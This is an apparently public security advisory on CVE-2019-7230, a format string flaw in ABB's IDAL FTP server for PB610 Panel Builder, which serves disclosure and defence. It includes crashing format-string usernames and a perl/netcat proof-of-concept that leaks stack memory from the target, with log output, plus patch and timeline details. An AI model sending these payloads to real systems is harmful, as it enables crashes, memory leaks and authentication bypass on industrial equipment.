The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.
904004a3f4b9e76ee3d9da27f7d9a6c9XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability
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Identifiers
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XL-19-004
CVE-2019-7230
ABBVU-IAMF-1902008
CVSS Score
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8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendor
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ABB (new.abb.com)
Credit
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Eldar Marcussen - xen1thLabs - Software Labs
Vulnerability summary
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The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.
Technical details
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The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack.
Proof of concept
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```
perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22
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UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory
UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory
Affected systems
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PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367
Solution
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Apply the patches and instructions from vendor:
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch
Disclosure timeline
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04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure